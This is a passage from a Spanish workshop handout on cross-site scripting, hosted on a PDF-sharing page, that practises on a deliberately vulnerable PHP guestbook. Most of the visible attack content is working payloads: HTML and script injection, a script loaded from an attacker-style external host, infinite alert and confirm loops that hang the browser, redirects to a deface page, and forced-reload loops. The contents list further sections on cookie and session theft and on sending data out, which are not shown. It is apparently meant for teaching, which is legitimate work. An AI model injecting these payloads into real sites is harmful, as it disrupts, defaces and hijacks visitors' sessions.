PDF de programación - Ataques XSS con javascript por diversión y beneficio

Imágen de pdf Ataques XSS con javascript por diversión y beneficio

Ataques XSS con javascript por diversión y beneficiográfica de visualizaciones

Publicado el 8 de Marzo del 2019
1.386 visualizaciones desde el 8 de Marzo del 2019
209,2 KB
30 paginas
Creado hace 16a (13/06/2007)
4party

Ataques XSS

Ataques XSS con javascript
por diversión y beneficio

Pello Xabier Altadill – Instituto Cuatrovientos

De las muchas vulnerabilidades que podemos encontrar en las aplicaciones Web
una de las más comunes es el XSS o Cross-Site-Scripting. Consiste esencialmente
en introducir código en páginas web para que lo ejecute cualquiera que acceda a

ellas.

Aunque es relativamente fácil protegerse ante estos ataques, existen muchas
maneras de saltarse filtros. En este taller se probaran distintas diversiones con
javascript, desde el hola mundo a cosas más complejas.



Tabla de contenidos
Ataques XSS con javascript como diversión y beneficio .........................................1
(0). Escenario y primera prueba .......................................................................2
(1). Hola mundo ................................................................................................3
(2). Dando por el culo con alerts .......................................................................4
(3). Vámonos de aquí ........................................................................................5
(4). Jugando con el objeto window ....................................................................6
(5). Solicitando datos al usuario ........................................................................7
(6). Capturando eventos ...................................................................................8
(7). Robo de cookies y sesiones ......................................................................10
(8). Session Ridding ........................................................................................11
(9). Adueñandonos del documento a través de DOM ............................................12
(9.1). ¿Qué es eso del DOM? .............................................................................12
(9.2). Leer, modificar, añadir, reemplazar y eliminar ........................................13
(10). AJAX: una nueva era .....................................................................................18
(10.1). Mandando datos por lo bajini .................................................................19
(10.2). Mandando datos fuera ..........................................................................23
(10.3). Snifando datos .......................................................................................24
(11). Formas de introducir XSS .............................................................................25
Referencias, webs, artículos:.................................................................................25

4party

Ataques XSS

(0). Escenario y primera prueba

El XSS o Cross Site scripting es un tipo de ataque muy sencillo que puede
efectuarse contra las aplicaciones web. Si no se filtran convenientemente los
datos introducidos por los usuarios de las aplicaciones web, puede insertarse
HTML, javascript y cualquier cosa a través de formularios, enlaces o cualquier otra
forma de entrada.
Básicamente consiste en hacer ejecutar código javascript en el navegador de la
victima a través de la inserción de forma reflejada o persistente.
Este gráfico mostraría el ataque reflejado o no-persistente:

El ataque persistente es más peligroso ya que afecta de golpe a todo aquel que
visite una web comprometida.

4party

Ataques XSS

En el gráfico se muestra el primer paso, en el que el atacante inserta código
javascript y este queda en una BBDD.

¿Cómo funciona el ataque persistente? Supongamos que una web habilita la
posibilidad que los usuarios metan comentarios. Si un usuario malicioso inserta un
comentario con código javascript, cuando su comentario se muestra en los
navegadores de los demás usuarios que visitan la web ese código javascript se
ejecutará en sus navegadores.

¿Y qué es lo que puede llegar a hacer ese usuario malicioso usando insertando
javascript? Existen infinidad de documentos y páginas que describen el Cross Site
Scripting, pero muchas veces explican unos pocos de casos y ya está.
Está claro que si se permite el XSS las posibilidades son infinitas, tantas como lo
permiten los lenguajes y las circunstancias.
En este documento se trata de reunir viejas técnicas y otras más nuevas de
ataques XSS, sobre todo las relacionadas con javascript, tratando de presentar un
interesante abanico.

Para las pruebas se ha utilizado una aplicación web desarrollada en php y mysql.
Es un guestbook programado de forma incorrecta y temeraria en la que no se
comprueban los datos de entrada y con la que convirtiendonos en usuario
malicioso podemos hacer todas las pruebas que queramos. En la aplicación hay
una página index.php en la que cualquier usuario puede dejar comantarios u
ataques. Para ver los efectos basta con recargar la página.

Para una mayor comodidad sería interesante disponer a mano de la gestión de la
BBDD a través de phpmyadmin o por consola, para vaciar las tablas de vez en
cuando, ya que alguno de los ataques imposibilitará el acceso a la aplicación.

Una forma simple de comprobar si en la aplicación web se comprueban los datos

4party

Ataques XSS

es insertar algo de código html. Los comentarios HTML serían un buen ejemplo, si
no se ven pero están en el código fuente de la página es posible que la aplicación
sea vulnerable:

<!-- esto no se va a ver -->

Y si no pueden usarse etiquetas sencillas
<i>Hola</i>

Para empezar la diversión podemos meter algunos efectos:
<marquee>Me estoy desplazando</marquee>
Con otras letras.
<marquee><p style='font-size: 60pt'>Ahora con grandes letras</p></marquee>

También podemos meter algo de sonido
<embed
src="http://www.moviesoundscentral.com/sounds/star_wars/empire_strikes_back/darkside.wav">

O un sonido más oculto:
<bgsound
src="http://www.moviesoundscentral.com/sounds/star_wars/empire_strikes_back/darkside.wav">

Dentro de explorer podemos meter imágenes como esta:
<img
dynsrc="http://www.moviesoundscentral.com/sounds/star_wars/empire_strikes_back/darkside.wav
">

Se puede meter cualquier etiqueta HTML que se nos ocurra para distorsionar el
aspecto de la página de una forma más o menos llamativa u ocurrente. Pero lo
que interesa es probar cosas que se pueden hacer con javascript. Para probar si el
XSS de javascript funciona lo más directo es probar algo así:
<script language="javascript">
document.write("XSS de Javascript");
</script>

O más sencillo
<script>document.write("XSS de Javascript");</script>

Siempre que nos interese meter mucho código puede usarse un fichero
externo:

<script language="javascript" src="http://superjuacker.net/micodigo.js"></script>

4party

Ataques XSS

(1). Hola mundo

El lenguaje javascript es un lenguaje:
* Interpretado
* Debilmente tipado ( no hay tipos explicitos como int, char)
* Orientado a objetos
* Destinado a dotar de mayor dinamismo a documentos HTML en los
navegadores.

En cuanto a la sintaxis, es muy similar a la del lenguaje C en lo básico, dispone de
las mismas estructuras de control, operadores, funciones, etc...

Bueno, siempre hay que empezar por lo más simple. Para acostumbrarse a crear
código javascript hay que quedarse con las etiquetas <script> y </script>, y
dentro de ellas meteremos nuestro código (sí, hay muchas otras formas). En ese
código puede haber definición de variables, funciones, invocación de funciones,
uso de objetos predefinidos javascript (window, document,...) etc...

Para empezar podemos insertar mensajitos con un simple alert.
<script> alert("Hola mundo!");</script>

<script>alert("Esto es un alert \n Con saltos y todo\n está bien eh");</script>

4party

Ataques XSS

(2). Dando por el culo con alerts


Una forma simple de tocar las narices a los usuarios es meter alerts
interminables. Eso les obligará a matar el proceso del navegador, por muchas
pestañas que tengan. Si ocurre en mitad de una transacción u otro momento
importante de la navegación puede resultar desastroso para el usuario.

Un alert 5 veces:
<script>
for (i=0;i<5;i++)

alert("5 veces "+ i);

</script>

Un bucle infinito:
<script>
for (;;)

alert("Nunca terminaré");

</script>

A través de window confirm también le podemos dar la tabarra al usuario:

<script>
function darPorculo ()
{

if (confirm("Selecciona OK y te dejaré en paz"))
{

alert("Puedes estar tranquilo ¿o no?");

}
else
{

alert("Sigo a lo mío");

}
darPorculo();

}
darPorculo();
</script>

4party

Ataques XSS

(3). Vámonos de aquí


Una denegación de servicio o un hackeo cutre es hacer que una web resulte
inaccesible.

Peno, muy simple, pero que funciona sin problemas:
<script>
document.location.href = "http://superjuacker.net/deface.php";
</script>

Otra forma de hacer lo mismo con window:
<script>
window.location = "http://superjuacker.net/deface.php";
</script>

Con el objeto Location podemos hacer lo mismo:
<script>
location.assign(""http://superjuacker.net/deface.php"");
</script>

Esto también tendría el mismo resultado:
<script>
location.replace("http://superjuacker.net/deface.php");
</script>

Podemos jugar un poco más repitiendo la carga de la propia página:
<script language="javascript">
setTimeout('recarga()',100);

function recarga ()
{

location.reload();
setTimeout('recarga()',5);

}
</script>

4party

Ataques XSS

(4). Jugando con el objeto window


El lenguaje Javascript dispone del objeto Window, gracias al cual podemos hacer
distintas cosas con la ventana del navegador. Estos son algunas de los métodos y
propiedades más conocidas del objeto window.

window.alert(msg) : mostrar un mensaje
window.confirm(msg) : mostrar un dialog de confirmación
window.prompt(msg) : mostrar un dialog que solicita datos
window.print() : abre el dialog de la impresora
window.find() : abre el dialog
  • Links de descarga
http://lwp-l.com/pdf15451

Comentarios de: Ataques XSS con javascript por diversión y beneficio (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad